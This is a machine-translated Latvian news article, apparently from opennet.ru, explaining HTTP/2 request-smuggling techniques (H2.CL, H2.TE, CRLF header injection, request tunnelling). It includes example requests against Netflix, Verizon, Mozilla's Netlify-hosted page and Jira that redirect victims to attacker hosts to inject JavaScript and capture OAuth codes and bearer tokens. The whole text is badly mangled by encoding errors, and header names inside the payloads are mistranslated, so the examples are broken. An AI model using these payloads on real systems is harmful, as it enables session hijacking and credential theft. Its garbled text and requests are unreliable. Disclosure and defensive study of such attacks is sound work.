TÄ«mekļa sistÄmas, kurÄs priekÅ”gals pieÅem savienojumus, izmantojot HTTP/2 un nosÅ«ta tos aizmugursistÄmai, izmantojot HTTP/1.1, ir pakļautas jaunam āHTTP pieprasÄ«jumu kontrabandasā uzbrukuma variantam, kas ļauj, nosÅ«tot Ä«paÅ”i izstrÄdÄtus klientu pieprasÄ«jumus, iekļūst citu lietotÄju pieprasÄ«jumu saturÄ, kas apstrÄdÄti tajÄ paÅ”Ä plÅ«smÄ starp priekÅ”galu un aizmugursistÄmu. Uzbrukumu var izmantot, lai ievietotu ļaunprÄtÄ«gu JavaScript kodu sesijÄ ar likumÄ«gu vietni, apietu piekļuves ierobežojumu sistÄmas un pÄrtvertu autentifikÄcijas parametrus.
ProblÄma skar tÄ«mekļa starpniekserverus, slodzes balansÄtÄjus, tÄ«mekļa paÄtrinÄtÄjus, satura piegÄdes sistÄmas un citas konfigurÄcijas, kurÄs pieprasÄ«jumi tiek novirzÄ«ti no priekÅ”gala uz aizmuguri. PÄtÄ«juma autors demonstrÄja iespÄju uzbrukt Netflix, Verizon, Bitbucket, Netlify CDN un Atlassian sistÄmÄm un saÅÄma 56 tÅ«kstoÅ”us dolÄru atlÄ«dzÄ«bas programmÄs par ievainojamÄ«bu identificÄÅ”anu. ProblÄma ir apstiprinÄta arÄ« F5 Networks produktos. ProblÄma daļÄji ietekmÄ mod_proxy Apache http serverÄ« (CVE-2021-33193), ir gaidÄms labojums versijÄ 2.4.49 (izstrÄdÄtÄji tika informÄti par problÄmu maija sÄkumÄ, un viÅiem tika doti 3 mÄneÅ”i tÄs novÄrÅ”anai). ProgrammÄ nginx pÄdÄjÄ laidienÄ (1.21.1) tika bloÄ·Äta iespÄja vienlaikus norÄdÄ«t galvenes āContent-Lengthā un āTransfer-Encodingā. Uzbrukuma rÄ«ki jau ir iekļauti Burp rÄ«ku komplektÄ un ir pieejami paplaÅ”inÄjuma Turbo Intruder veidÄ.
JaunÄs pieprasÄ«jumu piesaistÄ«Å”anas datplÅ«smÄ metodes darbÄ«bas princips ir lÄ«dzÄ«gs ievainojamÄ«bai, ko tas pats pÄtnieks atklÄja pirms diviem gadiem, taÄu tas attiecas tikai uz priekÅ”ÄjÄm ierÄ«cÄm, kas pieÅem pieprasÄ«jumus, izmantojot HTTP/1.1. AtgÄdinÄsim, ka frontend-backend shÄmÄ klientu pieprasÄ«jumus saÅem papildu mezgls - frontend, kas izveido ilgstoÅ”u TCP savienojumu ar aizmugursistÄmu, kas tieÅ”i apstrÄdÄ pieprasÄ«jumus. Izmantojot Å”o kopÄ«go savienojumu, parasti tiek pÄrsÅ«tÄ«ti dažÄdu lietotÄju pieprasÄ«jumi, kas seko Ä·Ädei viens pÄc otra, atdalÄ«ti ar HTTP protokola palÄ«dzÄ«bu.
Klasiskais āHTTP pieprasÄ«jumu kontrabandasā uzbrukums tika balstÄ«ts uz faktu, ka priekÅ”gala un aizmugursistÄmas interpretÄ HTTP galvenes āContent-Lengthā (nosaka kopÄjo pieprasÄ«jumÄ esoÅ”o datu lielumu) un āTransfer-Encoding: chunkedā (ļauj pa daļÄm pÄrsÅ«tÄmie dati) atŔķirÄ«gi. PiemÄram, ja priekÅ”gals atbalsta tikai "Content-Length", bet ignorÄ "Transfer-Encoding: chunked", tad uzbrucÄjs var nosÅ«tÄ«t pieprasÄ«jumu, kurÄ ir gan galvenes "Content-Length", gan "Transfer-Encoding: chunked", taÄu izmÄrs ir "Satura garums" neatbilst gabalos sadalÄ«tÄs Ä·Ädes izmÄram. Å ÄdÄ gadÄ«jumÄ priekÅ”gals apstrÄdÄs un novirzÄ«s pieprasÄ«jumu saskaÅÄ ar āContent-Lengthā, un aizmugursistÄma gaidÄ«s bloka pabeigÅ”anu, pamatojoties uz āTransfer-Encoding: chunkedā, un uzbrucÄja pieprasÄ«juma atlikuÅ”Ä daļa tiks pabeigta. bÅ«t kÄda cita pieprasÄ«juma sÄkumÄ, kas tiek nosÅ«tÄ«ts nÄkamais.
AtŔķirÄ«bÄ no teksta protokola HTTP/1.1, kas tiek parsÄts rindas lÄ«menÄ«, HTTP/2 ir binÄrs protokols un manipulÄ ar iepriekÅ” noteikta izmÄra datu blokiem. TomÄr HTTP/2 izmanto pseidogalvenes, kas atbilst parastajÄm HTTP galvenÄm. MijiedarbÄ«bas gadÄ«jumÄ ar aizmugursistÄmu, izmantojot protokolu HTTP/1.1, priekÅ”gals pÄrvÄrÅ” Ŕīs pseidogalvenes lÄ«dzÄ«gÄs HTTP galvenÄs HTTP/1.1. ProblÄma ir tÄ, ka aizmugursistÄma pieÅem lÄmumus par straumes parsÄÅ”anu, pamatojoties uz priekÅ”gala iestatÄ«tajÄm HTTP galvenÄm, bez informÄcijas par sÄkotnÄjÄ pieprasÄ«juma parametriem.
Jo Ä«paÅ”i vÄrtÄ«bas āsatura garumsā un āpÄrsÅ«tÄ«Å”anas kodÄjumsā var pÄrsÅ«tÄ«t pseidogalvenes veidÄ, neskatoties uz to, ka tÄs netiek izmantotas HTTP/2, jo tiek noteikts visu datu lielums. atseviÅ”Ä·Ä laukÄ. TomÄr HTTP/2 pieprasÄ«juma pÄrveidoÅ”anas laikÄ par HTTP/1.1 Ŕīs galvenes tiek pÄrnestas un var sajaukt aizmugursistÄmu. Ir divi galvenie uzbrukuma varianti: H2.TE un H2.CL, kuros aizmugursistÄma tiek maldinÄta ar nepareizu pÄrsÅ«tÄ«Å”anas kodÄjumu vai satura garuma vÄrtÄ«bu, kas neatbilst pieprasÄ«juma pamatteksta faktiskajam izmÄram, ko priekÅ”gals ir saÅÄmis, izmantojot HTTP/2 protokols.
H2.CL uzbrukuma piemÄrs ir norÄdÄ«t nepareizu izmÄru satura garuma pseidogalvenÄ, nosÅ«tot HTTP/2 pieprasÄ«jumu pakalpojumam Netflix. Å is pieprasÄ«jums noved pie lÄ«dzÄ«gas HTTP galvenes Content-Length pievienoÅ”anas, piekļūstot aizmugursistÄmai, izmantojot HTTP/1.1, taÄu, tÄ kÄ lielums sadaÄ¼Ä Content-Length ir norÄdÄ«ts mazÄks nekÄ faktiskais, daļa no aizmugures esoÅ”ajiem datiem tiek apstrÄdÄta kÄ nÄkamÄ pieprasÄ«juma sÄkumÄ.
PiemÄram, pieprasiet HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
RezultÄtÄ uz aizmugursistÄmu tiks nosÅ«tÄ«ts pieprasÄ«jums: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
TÄ kÄ satura garuma vÄrtÄ«ba ir 4, aizmugursistÄma pieÅems tikai āabcdā kÄ pieprasÄ«juma pamattekstu, un pÄrÄjais āGET /n HTTP/1.1...ā tiks apstrÄdÄts kÄ nÄkamÄ pieprasÄ«juma sÄkums. saistÄ«ts ar citu lietotÄju. AttiecÄ«gi straume tiks desinhronizÄta un, atbildot uz nÄkamo pieprasÄ«jumu, tiks izdots fiktÄ«va pieprasÄ«juma apstrÄdes rezultÄts. Netflix gadÄ«jumÄ, fiktÄ«va pieprasÄ«juma galvenÄ āHost:ā norÄdot treÅ”Äs puses resursdatoru, klients atgrieza atbildi āAtraÅ”anÄs vieta: https://02.rs?x.netflix.com/nā un ļÄva klientam nosÅ«tÄ«t patvaļīgu saturu, tostarp palaist JavaScript kodu Netflix vietnes kontekstÄ.
OtrÄ uzbrukuma iespÄja (H2.TE) ietver galvenes āTransfer-Encoding: chunkedā aizstÄÅ”anu. PÄrsÅ«tÄ«Å”anas kodÄÅ”anas pseidogalvenes izmantoÅ”ana HTTP/2 ir aizliegta ar specifikÄciju, un pieprasÄ«jumi ar to tiek uzskatÄ«ti par nepareiziem. Neskatoties uz to, daži priekÅ”gala implementÄcijas neÅem vÄrÄ Å”o prasÄ«bu un ļauj HTTP/2 izmantot pÄrsÅ«tÄ«Å”anas kodÄÅ”anas pseidogalveni, kas tiek pÄrveidota par lÄ«dzÄ«gu HTTP galveni. Ja ir virsraksts āTransfer-Encodingā, aizmugursistÄma var pieÅemt to kÄ augstÄku prioritÄti un parsÄt datus pa gabalam āsadalÄ«tÄā režīmÄ, izmantojot dažÄda lieluma blokus formÄtÄ ā{size}\r\n{block }\r\n{izmÄrs} \r\n{bloks}\r\n0, neskatoties uz sÄkotnÄjo sadalÄ«jumu pÄc kopÄjÄ izmÄra.
Å Ädas plaisas esamÄ«bu pierÄdÄ«ja Verizon piemÄrs. ProblÄma attiecÄs uz autentifikÄcijas portÄlu un satura pÄrvaldÄ«bas sistÄmu, kas tiek izmantota arÄ« tÄdÄs vietnÄs kÄ Huffington Post un Engadget. PiemÄram, klienta pieprasÄ«jums, izmantojot HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
RezultÄtÄ aizmugursistÄmai tika nosÅ«tÄ«ts HTTP/1.1 pieprasÄ«jums: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Satura garums: 66 PÄrsÅ«tÄ«Å”anas kodÄjums: chunked 0 GET /oops HTTP/1.1 Host: psres. neto saturs- garums: 10x=
SavukÄrt aizmugursistÄma ignorÄja galveni āContent-Lengthā un veica plÅ«smÄ ievietotu sadalÄ«Å”anu, pamatojoties uz āTransfer-Encoding: chunkedā. PraksÄ uzbrukums ļÄva novirzÄ«t lietotÄju pieprasÄ«jumus uz viÅu vietni, tostarp pÄrtvert ar OAuth autentifikÄciju saistÄ«tus pieprasÄ«jumus, kuru parametri tika parÄdÄ«ti Referer galvenÄ, kÄ arÄ« simulÄt autentifikÄcijas sesiju un aktivizÄt lietotÄja sistÄmu, lai nosÅ«tÄ«tu akreditÄcijas datus. uzbrucÄja saimniekam. GET /b2blanding/show/oops HTTP/1.1 Saimniekdators: psres.net AtsaucÄjs: https://id.b2b.oath.com/?ā¦&code=secret GET / HTTP/1.1 Saimniekdators: psres.net AutorizÄcija: NesÄjs eyJhcGwiOiJIUzI1cCI1IInkR6cCI6
Lai uzbruktu HTTP/2 implementÄcijÄm, kas neļauj norÄdÄ«t pÄrsÅ«tÄ«Å”anas kodÄÅ”anas pseidogalveni, ir ierosinÄta cita metode, kas ietver galvenes āTransfer-Encodingā aizstÄÅ”anu, pievienojot to citÄm pseidogalvenÄm, kas atdalÄ«tas ar jaunas rindiÅas rakstzÄ«mi ( konvertÄjot uz HTTP/1.1, Å”ajÄ gadÄ«jumÄ tiek izveidotas divas atseviŔķas HTTP galvenes).
PiemÄram, Ŕī problÄma skÄra Atlassian Jira un Netlify CDN (izmanto, lai apkalpotu Mozilla sÄkuma lapu pÄrlÅ«kprogrammÄ Firefox). KonkrÄti, HTTP/2 pieprasÄ«jums :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Satura garums: 5\r\n \r\nx=
rezultÄtÄ HTTP/1.1 POST / HTTP/1.1 pieprasÄ«jums tika nosÅ«tÄ«ts uz aizmugursistÄmu\r\n Resursdators: start.mozilla.org\r\n Foo: b\r\n PÄrsÅ«tÄ«Å”anas kodÄjums: chunked\r\n Satura garums : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Saimniekdators: evil-netlify-domain\r\n Satura garums: 5\r\n \r \nx=
VÄl viena iespÄja, kÄ aizstÄt galveni āTransfer-Encodingā, bija pievienot to citas pseidogalvenes nosaukumam vai rindai ar pieprasÄ«juma metodi. PiemÄram, piekļūstot Atlassian Jira, pseido galvenes nosaukums "foo: bar\r\ntransfer-encoding" ar vÄrtÄ«bu "chunked" izraisÄ«ja HTTP galvenes "foo: bar" un "transfer-encoding: chunked" pievienoÅ”anu. , un norÄdot pseidogalvenes ":method" vÄrtÄ«bu "GET / HTTP/1.1\r\nTransfer-encoding: chunked" tika tulkota kÄ "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
PÄtnieks, kurÅ” identificÄja problÄmu, arÄ« ierosinÄja pieprasÄ«juma tunelÄÅ”anas paÅÄmienu, lai uzbruktu priekÅ”galiem, kurÄ katra IP adrese izveido atseviŔķu savienojumu ar aizmugursistÄmu un netiek sajaukta dažÄdu lietotÄju trafika. PiedÄvÄtÄ tehnika neļauj iejaukties citu lietotÄju pieprasÄ«jumos, bet ļauj saindÄt koplietoto keÅ”atmiÅu, kas ietekmÄ citu pieprasÄ«jumu apstrÄdi, un ļauj aizstÄt iekÅ”ÄjÄs HTTP galvenes, ko izmanto pakalpojuma informÄcijas pÄrsÅ«tÄ«Å”anai no priekÅ”gala uz aizmugursistÄmu ( piemÄram, veicot autentifikÄciju priekÅ”gala pusÄ, Å”Ädas galvenes var pÄrsÅ«tÄ«t informÄciju par paÅ”reizÄjo lietotÄju uz aizmuguri). KÄ piemÄru metodes pielietoÅ”anai praksÄ, izmantojot keÅ”atmiÅas saindÄÅ”anu, Bitbucket servisÄ bija iespÄjams iegÅ«t kontroli pÄr lapÄm.
Avots: opennet.ru